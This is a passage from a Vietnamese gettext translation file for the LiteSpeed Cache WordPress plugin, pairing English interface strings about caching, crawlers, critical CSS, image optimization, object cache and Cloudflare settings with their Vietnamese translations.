msgstr "Để thu thập thông tin cho một cookie cụ thể, hãy nhập tên cookie và các giá trị bạn muốn thu thập thông tin. Các giá trị phải là một giá trị trên mỗi dòng. Sẽ có một trình thu thập thông tin được tạo cho mỗi giá trị cookie, cho mỗi vai trò mô phỏng."

#: src/admin-display.cls.php:446 tpl/crawler/settings.tpl.php:179
msgid "Cookie Values"
msgstr "Giá trị cookie"

#: src/admin-display.cls.php:445
msgid "Cookie Name"
msgstr "Tên cookie"

#: src/lang.cls.php:253
msgid "Cookie Simulation"
msgstr "Mô phỏng cookie"

#: tpl/page_optm/settings_html.tpl.php:146
msgid "Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact."
msgstr "Sử dụng thư viện Web Font Loader để tải Google Fonts không đồng bộ trong khi vẫn giữ nguyên CSS khác."

#: tpl/general/settings_inc.auto_upgrade.tpl.php:25
msgid "Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual."
msgstr "Bật tùy chọn này lên để tự động cập nhật LiteSpeed Cache bất cứ lúc nào một phiên bản mới được phát hành. Nếu Tắt đi, bạn phải cập nhật thủ công như bình thường."

#: src/lang.cls.php:99
msgid "Automatically Upgrade"
msgstr "Tự động nâng cấp"

#: tpl/toolbox/settings-debug.tpl.php:98
msgid "Your IP"
msgstr "IP của bạn"

#: src/import.cls.php:156
msgid "Reset successfully."
msgstr "Đặt lại thành công."

#: tpl/toolbox/import_export.tpl.php:67
msgid "This will reset all settings to default settings."
msgstr "Thao tác này sẽ đặt lại tất cả cài đặt về mặc định."

#: tpl/toolbox/import_export.tpl.php:63
msgid "Reset All Settings"
msgstr "Đặt lại tất cả cài đặt"

#: tpl/page_optm/settings_tuning_css.tpl.php:128
msgid "Separate critical CSS files will be generated for paths containing these strings."
msgstr "Các tệp CSS quan trọng riêng biệt sẽ được tạo cho các đường dẫn chứa các chuỗi này."

#: src/lang.cls.php:169
msgid "Separate CCSS Cache URIs"
msgstr "Các URI Cache CCSS riêng biệt"

#: tpl/page_optm/settings_tuning_css.tpl.php:114
msgid "For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site."
msgstr "Ví dụ: nếu mỗi trang trên trang web có định dạng khác nhau, hãy nhập %s vào ô trống. Các tệp CSS quan trọng riêng biệt sẽ được lưu trữ cho mỗi trang trên trang web."

#: tpl/page_optm/settings_tuning_css.tpl.php:113
msgid "List post types where each item of that type should have its own CCSS generated."
msgstr "Liệt kê các loại bài viết mà mỗi mục của loại đó sẽ có CSS của chính nó được tạo."

#: src/lang.cls.php:168
msgid "Separate CCSS Cache Post Types"
msgstr "CCSS Cache riêng biệt cho các loại bài viết "

#: tpl/page_optm/settings_media.tpl.php:200
msgid "Size list in queue waiting for cron"
msgstr "Danh sách kích thước trong hàng chờ đợi cron"

#: tpl/page_optm/settings_media.tpl.php:175
msgid "If set to %1$s, before the placeholder is localized, the %2$s configuration will be used."
msgstr "Nếu được đặt thành %1$s, trước khi trình giữ chỗ được bản địa hóa, cấu hình %2$s sẽ được sử dụng."

#: tpl/page_optm/settings_media.tpl.php:172
msgid "Automatically generate LQIP in the background via a cron-based queue."
msgstr "Tự động tạo LQIP trong nền thông qua hàng đợi dựa trên cron."

#: tpl/page_optm/settings_media.tpl.php:77
msgid "This will generate the placeholder with same dimensions as the image if it has the width and height attributes."
msgstr "Điều này sẽ tạo ra trình giữ chỗ có cùng kích thước với hình ảnh nếu nó có thuộc tính chiều rộng và chiều cao."

#: tpl/page_optm/settings_media.tpl.php:76
msgid "Responsive image placeholders can help to reduce layout reshuffle when images are loaded."
msgstr "Trình giữ chỗ hình ảnh đáp ứng có thể giúp giảm bớt bố cục khi hình ảnh được tải."

#: src/lang.cls.php:192
msgid "Responsive Placeholder"
msgstr "Trình giữ chỗ đáp ứng"

#: tpl/toolbox/purge.tpl.php:101
msgid "This will delete all generated image LQIP placeholder files"
msgstr "Điều này sẽ xóa tất cả các tệp giữ chỗ LQIP hình ảnh được tạo"

#: tpl/inc/check_cache_disabled.php:31
msgid "Please enable LiteSpeed Cache in the plugin settings."
msgstr "Vui lòng bật LiteSpeed Cache trong cài đặt plugin."

#: tpl/inc/check_cache_disabled.php:25
msgid "Please enable the LSCache Module at the server level, or ask your hosting provider."
msgstr "Vui lòng bật mô-đun bộ nhớ đệm LiteSpeed ở cấp máy chủ hoặc hỏi nhà cung cấp dịch vụ lưu trữ của bạn."

#: src/cloud.cls.php:1435 src/cloud.cls.php:1458
msgid "Failed to request via WordPress"
msgstr "Không thể yêu cầu qua WordPress"

#. Description of the plugin
#: litespeed-cache.php
msgid "High-performance page caching and site optimization from LiteSpeed"
msgstr "Hiệu suất cao trong bộ nhớ đệm trang và tối ưu hóa trang web từ LiteSpeed"

#: src/img-optm.cls.php:2099
msgid "Reset the optimized data successfully."
msgstr "Đặt lại dữ liệu được tối ưu hóa thành công."

#: src/gui.cls.php:893
msgid "Update %s now"
msgstr "Cập nhật %s ngay bây giờ"

#: src/gui.cls.php:890
msgid "View %1$s version %2$s details"
msgstr "Xem chi tiết %1$s phiên bản %2$s"

#: src/gui.cls.php:888
msgid "<a href=\"%1$s\" %2$s>View version %3$s details</a> or <a href=\"%4$s\" %5$s target=\"_blank\">update now</a>."
msgstr "<a href=\"%1$s\" %2$s>Xem chi tiết %3$s phiên bản</a> hoặc <a href=\"%4$s\" %5$s target=\"_blank\">cập nhật ngay</a>."

#: src/gui.cls.php:868
msgid "Install %s"
msgstr "Cài đặt %s"

#: tpl/inc/check_cache_disabled.php:40
msgid "LSCache caching functions on this page are currently unavailable!"
msgstr "Các chức năng lưu trữ bộ nhớ đệm LiteSpeed trên trang này hiện không khả dụng!"

#: src/cloud.cls.php:1589
msgid "%1$s plugin version %2$s required for this action."
msgstr "Yêu cầu plugin %1$s phiên bản %2$s cho hành động này."

#: src/cloud.cls.php:1518
msgid "We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience."
msgstr "Chúng tôi đang nỗ lực để cải thiện trải nghiệm dịch vụ trực tuyến của bạn. Dịch vụ này sẽ không có sẵn trong khi chúng tôi vẫn đang làm việc trên nó. Chúng tôi xin lỗi vì bất cứ sự bất tiện nào."

#: tpl/img_optm/settings.tpl.php:60
msgid "Automatically remove the original image backups after fetching optimized images."
msgstr "Tự động xóa bản sao lưu ảnh gốc sau khi tìm nạp hình ảnh được tối ưu hóa."

#: src/lang.cls.php:208
msgid "Remove Original Backups"
msgstr "Xóa bản sao lưu gốc"

#: tpl/img_optm/settings.tpl.php:34
msgid "Automatically request optimization via cron job."
msgstr "Tự động yêu cầu tối ưu hóa thông qua cron job."

#: tpl/img_optm/summary.tpl.php:188
msgid "A backup of each image is saved before it is optimized."
msgstr "Bản sao lưu của mỗi hình ảnh được lưu trước khi được tối ưu hóa."

#: src/img-optm.cls.php:1892
msgid "Switched images successfully."
msgstr "Đã chuyển đổi hình ảnh thành công."

#: tpl/img_optm/settings.tpl.php:81
msgid "This can improve quality but may result in larger images than lossy compression will."
msgstr "Điều này có thể cải thiện chất lượng nhưng có thể dẫn đến hình ảnh lớn hơn nén mất dữ liệu."

#: tpl/img_optm/settings.tpl.php:80
msgid "Optimize images using lossless compression."
msgstr "Tối ưu hóa hình ảnh bằng cách sử dụng tính năng nén không mất dữ liệu."

#: src/lang.cls.php:210
msgid "Optimize Losslessly"
msgstr "Tối ưu hóa Losslessly"

#: tpl/img_optm/settings.media_webp.tpl.php:25
msgid "Request WebP/AVIF versions of original images when doing optimization."
msgstr "Yêu cầu các phiên bản WebP/AVIF của ảnh gốc khi thực hiện tối ưu hóa."

#: tpl/img_optm/settings.tpl.php:47
msgid "Optimize images and save backups of the originals in the same folder."
msgstr "Tối ưu hóa hình ảnh và lưu bản sao lưu của bản gốc trong cùng một thư mục."

#: src/lang.cls.php:207
msgid "Optimize Original Images"
msgstr "Tối ưu hóa hình ảnh gốc"

#: tpl/page_optm/settings_css.tpl.php:220
msgid "When this option is turned %s, it will also load Google Fonts asynchronously."
msgstr "Khi tùy chọn này được chuyển thành %s, thì nó sẽ tải Google Fonts một cách không đồng bộ."

#: src/purge.cls.php:254
msgid "Cleaned all Critical CSS files."
msgstr "Đã dọn dẹp tất cả các tệp CSS quan trọng."

#: tpl/page_optm/settings_css.tpl.php:327
msgid "This will inline the asynchronous CSS library to avoid render blocking."
msgstr "Điều này sẽ ghi nội tuyến các thư viện CSS không đồng bộ để tránh việc chặn hiển thị."

#: src/lang.cls.php:153
msgid "Inline CSS Async Lib"
msgstr "Thư viện CSS bất đồng bộ nội dòng"

#: tpl/page_optm/settings_localization.tpl.php:72
#: tpl/page_optm/settings_media.tpl.php:218
msgid "Run Queue Manually"
msgstr "Chạy hàng đợi thủ công"

#: tpl/page_optm/settings_css.tpl.php:117
#: tpl/page_optm/settings_css.tpl.php:254 tpl/page_optm/settings_vpi.tpl.php:65
msgid "URL list in %s queue waiting for cron"
msgstr "Danh sách URL trong hàng đợi %s đang chờ cron"

#: tpl/page_optm/settings_css.tpl.php:105
#: tpl/page_optm/settings_css.tpl.php:242
msgid "Last requested cost"
msgstr "Băng thông yêu cầu cuối cùng"

#: tpl/page_optm/settings_css.tpl.php:102
#: tpl/page_optm/settings_css.tpl.php:239
#: tpl/page_optm/settings_media.tpl.php:188
#: tpl/page_optm/settings_vpi.tpl.php:53
msgid "Last generated"
msgstr "Lần tạo cuối"

#: tpl/page_optm/settings_media.tpl.php:180
msgid "If set to %s this is done in the foreground, which may slow down page load."
msgstr "Nếu được đặt thành %s, việc này được thực hiện ở nền trước, điều này có thể làm chậm tải trang."

#: tpl/page_optm/settings_css.tpl.php:219
msgid "Automatic generation of critical CSS is in the background via a cron-based queue."
msgstr "Tự động tạo CSS quan trọng ở chế độ nền thông qua hàng đợi dựa trên cron."

#: tpl/page_optm/settings_css.tpl.php:215
msgid "Optimize CSS delivery."
msgstr "Tối ưu việc tải CSS."

#: tpl/toolbox/purge.tpl.php:74
msgid "This will delete all generated critical CSS files"
msgstr "Điều này sẽ xóa toàn bộ tệp tin CSS quan trọng đã được tạo."

#: tpl/dash/dashboard.tpl.php:623 tpl/toolbox/purge.tpl.php:73
msgid "Critical CSS"
msgstr "CSS quan trọng"

#: src/doc.cls.php:65
msgid "This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily."
msgstr "Trang web này sử dụng bộ nhớ đệm để tạo điều kiện cho thời gian phản hồi nhanh hơn và trải nghiệm người dùng tốt hơn. Bộ nhớ đệm có khả năng lưu trữ bản sao của mọi trang web được hiển thị trên trang này. Tất cả các tệp bộ đệm đều là tạm thời và không bao giờ được bất kỳ bên thứ ba nào truy cập, ngoại trừ khi cần thiết để nhận được hỗ trợ kỹ thuật từ nhà cung cấp plugin bộ đệm. Các tệp bộ đệm hết hạn theo lịch do quản trị viên trang web đặt ra, nhưng quản trị viên có thể dễ dàng xóa trước khi hết hạn tự nhiên, nếu cần. Chúng tôi có thể sử dụng các dịch vụ QUIC.cloud để tạm thời xử lý và lưu vào bộ nhớ đệm dữ liệu của bạn."

#: tpl/toolbox/heartbeat.tpl.php:28
msgid "Disabling this may cause WordPress tasks triggered by AJAX to stop working."
msgstr "Vô hiệu hóa điều này có thể gây ra các tác vụ WordPress được AJAX kích hoạt để ngừng hoạt động."

#: src/utility.cls.php:228
msgid "right now"
msgstr "ngay bây giờ"

#: src/utility.cls.php:228
msgid "just now"
msgstr "mới đây"

#: tpl/img_optm/summary.tpl.php:259
msgid "Saved"
msgstr "Đã lưu"

#: tpl/img_optm/summary.tpl.php:253
#: tpl/page_optm/settings_localization.tpl.php:61
msgid "Last ran"
msgstr "Lần chạy cuối cùng"

#: tpl/img_optm/settings.tpl.php:66 tpl/img_optm/summary.tpl.php:245
msgid "You will be unable to Revert Optimization once the backups are deleted!"
msgstr "Bạn sẽ không thể hoàn tác tối ưu hóa khi các bản sao lưu bị xóa!"

#: tpl/img_optm/settings.tpl.php:65 tpl/img_optm/summary.tpl.php:244
#: tpl/page_optm/settings_media.tpl.php:308
msgid "This is irreversible."
msgstr "Điều này là không thể đảo ngược."

#: tpl/img_optm/summary.tpl.php:265
msgid "Remove Original Image Backups"
msgstr "Xóa bản sao lưu hình ảnh gốc"

#: tpl/img_optm/summary.tpl.php:264
msgid "Are you sure you want to remove all image backups?"
msgstr "Bạn có chắc chắn muốn xóa tất cả bản sao lưu hình ảnh không?"

#: tpl/crawler/blacklist.tpl.php:32 tpl/img_optm/summary.tpl.php:201
msgid "Total"
msgstr "Tổng số"

#: tpl/img_optm/summary.tpl.php:198 tpl/img_optm/summary.tpl.php:256
msgid "Files"
msgstr "Tập tin"

#: tpl/img_optm/summary.tpl.php:194
msgid "Last calculated"
msgstr "Lần tính toán cuối"

#: tpl/img_optm/summary.tpl.php:208
msgid "Calculate Original Image Storage"
msgstr "Tính toán lưu trữ hình ảnh gốc"

#: tpl/img_optm/summary.tpl.php:184
msgid "Storage Optimization"
msgstr "Tối ưu hóa bộ nhớ"

#: tpl/img_optm/settings.tpl.php:165
msgid "Enable replacement of WebP/AVIF in %s elements that were generated outside of WordPress logic."
msgstr "Bật thay thế WebP/AVIF trong %s phần tử được tạo ra bên ngoài logic của WordPress."

#: tpl/cdn/other.tpl.php:141 tpl/img_optm/settings.tpl.php:151
msgid "Use the format %1$s or %2$s (element is optional)."
msgstr "Sử dụng định dạng %1$s hoặc %2$s (phần tử là tùy chọn)."

#: tpl/cdn/other.tpl.php:137 tpl/img_optm/settings.tpl.php:150
msgid "Only attributes listed here will be replaced."
msgstr "Chỉ các thuộc tính được liệt kê ở đây mới được thay thế."

#: tpl/img_optm/settings.tpl.php:149
msgid "Specify which element attributes will be replaced with WebP/AVIF."
msgstr "Chỉ định các thuộc tính phần tử nào sẽ được thay thế bằng WebP/AVIF."

#: src/lang.cls.php:213
msgid "WebP/AVIF Attribute To Replace"
msgstr "Thuộc tính WebP/AVIF để Thay Thế"

#: tpl/cdn/other.tpl.php:196
msgid "Only files within these directories will be pointed to the CDN."
msgstr "Chỉ những tập tin trong các thư mục này mới được trỏ đến CDN."

#: src/lang.cls.php:244
msgid "Included Directories"
msgstr "Bao gồm các thư mục"

#: tpl/cache/settings-purge.tpl.php:152
msgid "A Purge All will be executed when WordPress runs these hooks."
msgstr "Dọn dẹp tất cả chỉ được thực hiện khi WordPress chạy các hooks."

#: src/lang.cls.php:221
msgid "Purge All Hooks"
msgstr "Dọn dẹp tất cả các hook"

#: src/purge.cls.php:213
msgid "Purged all caches successfully."
msgstr "Dọn dẹp tất cả các bộ nhớ cache thành công."

#: src/gui.cls.php:562 src/gui.cls.php:691 src/gui.cls.php:744
msgid "LSCache"
msgstr "Bộ nhớ đệm LiteSpeed"

#: src/gui.cls.php:506
msgid "Forced cacheable"
msgstr "Bắt buộc lưu vào bộ nhớ đệm"

#: tpl/cache/settings-cache.tpl.php:133
msgid "Paths containing these strings will be cached regardless of no-cacheable settings."
msgstr "Các đường dẫn chứa các chuỗi này sẽ được lưu trữ mặc dù không có thiết lập bộ nhớ đệm."

#: src/lang.cls.php:130
msgid "Force Cache URIs"
msgstr "Bắt buộc cache URIs"

#: tpl/cache/network_settings-excludes.tpl.php:17
#: tpl/cache/settings-excludes.tpl.php:15
msgid "Exclude Settings"
msgstr "Cài đăt loại trừ"

#: tpl/toolbox/settings-debug.tpl.php:69
msgid "This will disable LSCache and all optimization features for debug purpose."
msgstr "Điều này sẽ vô hiệu hóa bộ nhớ đệm LiteSpeed và tất cả các tính năng tối ưu hóa cho mục đích gỡ lỗi."

#: src/lang.cls.php:256
msgid "Disable All Features"
msgstr "Vô hiệu hoá tất cả tính năng"

#: src/gui.cls.php:599 src/gui.cls.php:781 tpl/toolbox/purge.tpl.php:64
msgid "Opcode Cache"
msgstr "Bộ nhớ đệm Opcode"

#: src/gui.cls.php:570 src/gui.cls.php:752 tpl/toolbox/purge.tpl.php:47
msgid "CSS/JS Cache"
msgstr "Bộ nhớ đệm CSS/JS"

#: src/gui.cls.php:849 tpl/img_optm/summary.tpl.php:176
msgid "Remove all previous unfinished image optimization requests."
msgstr "Loại bỏ tất cả các yêu cầu tối ưu hóa hình ảnh chưa hoàn thành trước đó."

#: src/gui.cls.php:850 tpl/img_optm/summary.tpl.php:178
msgid "Clean Up Unfinished Data"
msgstr "Dọn dẹp dữ liệu chưa hoàn thành"

#: tpl/banner/slack.php:40
msgid "Join Us on Slack"
msgstr "Tham gia với chúng tôi trên Slack"

#. translators: %s: Link to LiteSpeed Slack community
#: tpl/banner/slack.php:28
msgid "Join the %s community."
msgstr "Tham gia cộng đồng %s."

#: tpl/banner/slack.php:24
msgid "Want to connect with other LiteSpeed users?"
msgstr "Bạn muốn kết nối với những người dùng LiteSpeed khác?"

#: tpl/cdn/cf.tpl.php:38
msgid "Your API key / token is used to access %s APIs."
msgstr "Khóa / mã thông báo API của bạn được sử dụng để truy cập API %s."

#: tpl/cdn/cf.tpl.php:47
msgid "Your Email address on %s."
msgstr "Địa chỉ email của bạn trên %s."

#: tpl/cdn/cf.tpl.php:31
msgid "Use %s API functionality."
msgstr "Sử dụng chức năng %s API."

#: tpl/cdn/other.tpl.php:80
msgid "To randomize CDN hostname, define multiple hostnames for the same resources."
msgstr "Để ngẫu nhiên tên máy chủ lưu trữ CDN, hãy xác định nhiều tên máy chủ cho cùng một tài nguyên."

#: tpl/inc/admin_footer.php:23
msgid "Join LiteSpeed Slack community"
msgstr "Tham gia cộng đồng Slack của LiteSpeed"

#: tpl/inc/admin_footer.php:21
msgid "Visit LSCWP support forum"
msgstr "Truy cập vào diễn đàn hỗ trợ LSCWP"

#: src/lang.cls.php:27 tpl/dash/dashboard.tpl.php:560
msgid "Images notified to pull"
msgstr "Hình ảnh đã được thông báo để tối ứu hóa"

#: tpl/img_optm/summary.tpl.php:291
msgid "What is a group?"
msgstr "Một nhóm là gì?"

#: src/admin-display.cls.php:1573
msgid "%s image"
msgstr "%s hình ảnh"

#: src/admin-display.cls.php:1570
msgid "%s group"
msgstr "%s nhóm"

#: src/admin-display.cls.php:1561
msgid "%s images"
msgstr "%s hình ảnh"

#: src/admin-display.cls.php:1558
msgid "%s groups"
msgstr "%s nhóm"

#: src/crawler.cls.php:1236
msgid "Guest"
msgstr "Khách"

#: tpl/crawler/settings.tpl.php:109
msgid "To crawl the site as a logged-in user, enter the user ids to be simulated."
msgstr "Để thu thập thông tin trang web dưới dạng người dùng đã đăng nhập, hãy nhập id người dùng để được mô phỏng."

#: src/lang.cls.php:252
msgid "Role Simulation"
msgstr "Mô phỏng vai trò"

#: tpl/crawler/summary.tpl.php:232
msgid "running"
msgstr "đang chạy"

#: tpl/db_optm/manage.tpl.php:187
msgid "Size"
msgstr "Kích cỡ"

#: tpl/crawler/summary.tpl.php:123 tpl/dash/dashboard.tpl.php:103
#: tpl/dash/dashboard.tpl.php:822
msgid "Ended reason"
msgstr "Lý do kết thúc"

#: tpl/crawler/summary.tpl.php:116 tpl/dash/dashboard.tpl.php:97
#: tpl/dash/dashboard.tpl.php:816
msgid "Last interval"
msgstr "Khoảng cách cuối cùng"

#: tpl/crawler/summary.tpl.php:104 tpl/dash/dashboard.tpl.php:91
#: tpl/dash/dashboard.tpl.php:810
msgid "Current crawler started at"
msgstr "Trình thu thập thông tin hiện tại bắt đầu lúc"

#: tpl/crawler/summary.tpl.php:97
msgid "Run time for previous crawler"
msgstr "Chạy thời gian cho trình thu thập thông tin trước đó"

#: tpl/crawler/summary.tpl.php:91 tpl/crawler/summary.tpl.php:98
msgid "%d seconds"
msgstr "%d giây"

#: tpl/crawler/summary.tpl.php:90
msgid "Last complete run time for all crawlers"
msgstr "Thời gian chạy hoàn chỉnh cuối cùng cho tất cả trình thu thập thông tin"

#: tpl/crawler/summary.tpl.php:77
msgid "Current sitemap crawl started at"
msgstr "Thu thập dữ liệu trang web hiện tại bắt đầu lúc"

#. translators: %1$s: Object Cache Admin title, %2$s: OFF status
#: tpl/cache/settings_inc.object.tpl.php:278
msgid "Save transients in database when %1$s is %2$s."
msgstr "Lưu tạm thời trong cơ sở dữ liệu khi %1$s là %2$s."

#: src/lang.cls.php:124
msgid "Store Transients"
msgstr "Lưu trữ tạm thời"

#. translators: %1$s: Cache Mobile label, %2$s: ON status, %3$s: List of Mobile
#. User Agents label
#: tpl/cache/settings_inc.cache_mobile.tpl.php:89
msgid "If %1$s is %2$s, then %3$s must be populated!"
msgstr "Nếu %1$s là %2$s, thì %3$s phải được hiển thị"

#: tpl/cache/more_settings_tip.tpl.php:22
#: tpl/cache/settings-excludes.tpl.php:71
#: tpl/cache/settings-excludes.tpl.php:104 tpl/cdn/other.tpl.php:79
#: tpl/crawler/settings.tpl.php:76 tpl/crawler/settings.tpl.php:86
msgid "NOTE"
msgstr "CHÚ Ý"

#. translators: %s: list of server variables in <code> tags
#: src/admin-display.cls.php:1517
msgid "Server variable(s) %s available to override this setting."
msgstr "(Các) máy chủ %s sẵn sàng để ghi đè cài đặt này."

#: src/admin-display.cls.php:1514 tpl/cache/settings-esi.tpl.php:103
#: tpl/page_optm/settings_css.tpl.php:87 tpl/page_optm/settings_css.tpl.php:223
#: tpl/page_optm/settings_html.tpl.php:131
#: tpl/page_optm/settings_media.tpl.php:258
#: tpl/page_optm/settings_media_exc.tpl.php:36
#: tpl/page_optm/settings_tuning.tpl.php:48
#: tpl/page_optm/settings_tuning.tpl.php:68
#: tpl/page_optm/settings_tuning.tpl.php:89
#: tpl/page_optm/settings_tuning.tpl.php:110
#: tpl/page_optm/settings_tuning.tpl.php:129
#: tpl/page_optm/settings_tuning_css.tpl.php:35
#: tpl/page_optm/settings_tuning_css.tpl.php:96
#: tpl/page_optm/settings_tuning_css.tpl.php:99
#: tpl/page_optm/settings_tuning_css.tpl.php:100
#: tpl/toolbox/edit_htaccess.tpl.php:61 tpl/toolbox/edit_htaccess.tpl.php:79
msgid "API"
msgstr "API"

#: src/import.cls.php:134
msgid "Imported setting file %s successfully."
msgstr "Tập tin cài đặt đã nhập %s thành công."

#: src/import.cls.php:81
msgid "Import failed due to file error."
msgstr "Nhập không thành công do lỗi tệp."

#: tpl/page_optm/settings_css.tpl.php:61 tpl/page_optm/settings_js.tpl.php:48
msgid "How to Fix Problems Caused by CSS/JS Optimization."
msgstr "Làm thế nào để khắc phục sự cố gây ra bởi việc tối ưu hóa CSS/JS."

#: tpl/cache/settings-advanced.tpl.php:76
msgid "This will generate extra requests to the server, which will increase server load."
msgstr "Điều này sẽ tạo ra yêu cầu bổ sung cho máy chủ, sẽ làm cho máy chủ tải nhiều hơn."

#: tpl/cache/settings-advanced.tpl.php:71
msgid "When a visitor hovers over a page link, preload that page. This will speed up the visit to that link."
msgstr "Khi khách truy cập di chuột qua liên kết trang, hãy tải trước trang đó. Điều này sẽ tăng tốc độ truy cập vào liên kết đó."

#: src/lang.cls.php:223
msgid "Instant Click"
msgstr "Instant Click"

#: tpl/toolbox/purge.tpl.php:65
msgid "Reset the entire opcode cache"
msgstr "Đặt lại toàn bộ, bộ nhớ đệm Opcode"

#: tpl/toolbox/import_export.tpl.php:59
msgid "This will import settings from a file and override all current LiteSpeed Cache settings."
msgstr "Thao tác này sẽ nhập cài đặt từ tệp và ghi đè tất cả cài đặt LiteSpeed Cache hiện tại."

#: tpl/toolbox/import_export.tpl.php:54
msgid "Last imported"
msgstr "Lần nhập cuối"

#: tpl/toolbox/import_export.tpl.php:48
msgid "Import"
msgstr "Nhập"

#: tpl/toolbox/import_export.tpl.php:40
msgid "Import Settings"
msgstr "Nhập cài đặt"

#: tpl/toolbox/import_export.tpl.php:36
msgid "This will export all current LiteSpeed Cache settings and save them as a file."
msgstr "Thao tác này sẽ xuất tất cả cài đặt LiteSpeed Cache hiện tại và lưu chúng dưới dạng tệp."

#: tpl/toolbox/import_export.tpl.php:31
msgid "Last exported"
msgstr "Lần xuất cuối"

#: tpl/toolbox/import_export.tpl.php:25
msgid "Export"
msgstr "Xuất"

#: tpl/toolbox/import_export.tpl.php:19
msgid "Export Settings"
msgstr "Xuất cài đặt"

#: tpl/presets/entry.tpl.php:17 tpl/toolbox/entry.tpl.php:20
msgid "Import / Export"
msgstr "Xuất / Nhập"

#: tpl/cache/settings_inc.object.tpl.php:249
msgid "Use keep-alive connections to speed up cache operations."
msgstr "Sử dụng kết nối giữ liên tục để tăng tốc độ hoạt động của bộ nhớ cache."

#: tpl/cache/settings_inc.object.tpl.php:209
msgid "Database to be used"
msgstr "Cơ sở dữ liệu sẽ được sử dụng"

#: src/lang.cls.php:119
msgid "Redis Database ID"
msgstr "ID cơ sở dữ liệu của Redis"

#: tpl/cache/settings_inc.object.tpl.php:196
msgid "Specify the password used when connecting."
msgstr "Chỉ định mật khẩu được sử dụng khi kết nối."

#: src/lang.cls.php:118
msgid "Password"
msgstr "Mật khẩu"

#. translators: %s: SASL
#: tpl/cache/settings_inc.object.tpl.php:180
msgid "Only available when %s is installed."
msgstr "Chỉ khả dụng khi %s được cài đặt."

#: src/lang.cls.php:117
msgid "Username"
msgstr "Tên đăng nhập"

#. translators: %s: Object cache name
#: tpl/cache/settings_inc.object.tpl.php:99
msgid "Your %s Hostname or IP address."
msgstr "Tên máy chủ hoặc địa chỉ IP của %s."

#: src/lang.cls.php:113
msgid "Method"
msgstr "Phương pháp"

#: src/purge.cls.php:473
msgid "Purge all object caches successfully."
msgstr "Xóa tất cả nhớ đệm đối tượng thành công."

#: src/purge.cls.php:460
msgid "Object cache is not enabled."
msgstr "Bộ nhớ đệm đối tượng không được bật."

#: tpl/cache/settings_inc.object.tpl.php:262
msgid "Improve wp-admin speed through caching. (May encounter expired data)"
msgstr "Cải thiện tốc độ của wp-admin thông qua bộ nhớ đệm. (Có thể gặp dữ liệu hết hạn)"

#: src/lang.cls.php:123
msgid "Cache WP-Admin"
msgstr "Bộ nhớ đệm WP-Admin"

#: src/lang.cls.php:122
msgid "Persistent Connection"
msgstr "Kết nối liên tục"

#: src/lang.cls.php:121
msgid "Do Not Cache Groups"
msgstr "Không lưu nhóm vào bộ nhớ đệm"

#: tpl/cache/settings_inc.object.tpl.php:222
msgid "Groups cached at the network level."
msgstr "Nhóm lưu trữ ở cấp độ mạng."

#: src/lang.cls.php:120
msgid "Global Groups"
msgstr "Nhóm chung"

#: tpl/cache/settings_inc.object.tpl.php:71
msgid "Connection Test"
msgstr "Kiểm tra kết nối"

#. translators: %s: Object cache name
#: tpl/cache/settings_inc.object.tpl.php:58
#: tpl/cache/settings_inc.object.tpl.php:66
msgid "%s Extension"
msgstr "%s tiện ích mở rộng"

#: tpl/cache/settings_inc.object.tpl.php:52 tpl/crawler/blacklist.tpl.php:42
#: tpl/crawler/summary.tpl.php:153
msgid "Status"
msgstr "Trạng thái"

#: tpl/cache/settings_inc.object.tpl.php:164
msgid "Default TTL for cached objects."
msgstr "TTL mặc định cho các đối tượng lưu cached"

#: src/lang.cls.php:116
msgid "Default Object Lifetime"
msgstr "Thời gian hủy mặc định của đối tượng"

#: src/lang.cls.php:115
msgid "Port"
msgstr "Cổng"

#: src/lang.cls.php:114
msgid "Host"
msgstr "Host"

#: src/gui.cls.php:589 src/gui.cls.php:771 src/lang.cls.php:112
#: tpl/dash/dashboard.tpl.php:60 tpl/dash/dashboard.tpl.php:603
#: tpl/toolbox/purge.tpl.php:55
msgid "Object Cache"
msgstr "Bộ nhớ đệm đối tượng"

#: tpl/cache/settings_inc.object.tpl.php:28
msgid "Failed"
msgstr "Thất bại"

#: tpl/cache/settings_inc.object.tpl.php:25
msgid "Passed"
msgstr "Thông qua"

#: tpl/cache/settings_inc.object.tpl.php:23
msgid "Not Available"
msgstr "Không có sẵn"

#: tpl/toolbox/purge.tpl.php:56
msgid "Purge all the object caches"
msgstr "Xóa tất cả bộ nhớ đệm đối tượng"

#: src/cdn/cloudflare.cls.php:275 src/cdn/cloudflare.cls.php:297
msgid "Failed to communicate with Cloudflare"
msgstr "Không thể liên lạc với Cloudflare"

#: src/cdn/cloudflare.cls.php:288
msgid "Communicated with Cloudflare successfully."
msgstr "Giao tiếp với Cloudflare thành công."

#: src/cdn/cloudflare.cls.php:181
msgid "No available Cloudflare zone"
msgstr "Không có sẵn vùng Cloudflare"

#: src/cdn/cloudflare.cls.php:167
msgid "Notified Cloudflare to purge all successfully."
msgstr "Đã thông báo Cloudflare để xóa toàn bộ thành công."

#: src/cdn/cloudflare.cls.php:151
msgid "Cloudflare API is set to off."
msgstr "Cloudflare API được tắt."

#: src/cdn/cloudflare.cls.php:121
msgid "Notified Cloudflare to set development mode to %s successfully."
msgstr "Đã thông báo Cloudflare để thiết lập chế độ phát triển thành %s thành công."

#: tpl/cdn/cf.tpl.php:60
msgid "Once saved, it will be matched with the current list and completed automatically."
msgstr "Sau khi lưu, nó sẽ được khớp với danh sách hiện tại và tự động hoàn thành."

#: tpl/cdn/cf.tpl.php:59
msgid "You can just type part of the domain."
msgstr "Bạn chỉ có thể gõ một phần của tên miền."

#: tpl/cdn/cf.tpl.php:52
msgid "Domain"
msgstr "Tên miền"

#: src/lang.cls.php:246
msgid "Cloudflare API"
msgstr "Cloudflare API"

#: tpl/cdn/cf.tpl.php:162
msgid "Purge Everything"
msgstr "Dọn dẹp mọi thứ"

#: tpl/cdn/cf.tpl.php:156
msgid "Cloudflare Cache"
msgstr "Cloudflare Cache"

#: tpl/cdn/cf.tpl.php:151
msgid "Development Mode will be turned off automatically after three hours."
msgstr "Chế độ phát triển sẽ tự động tắt sau ba giờ."

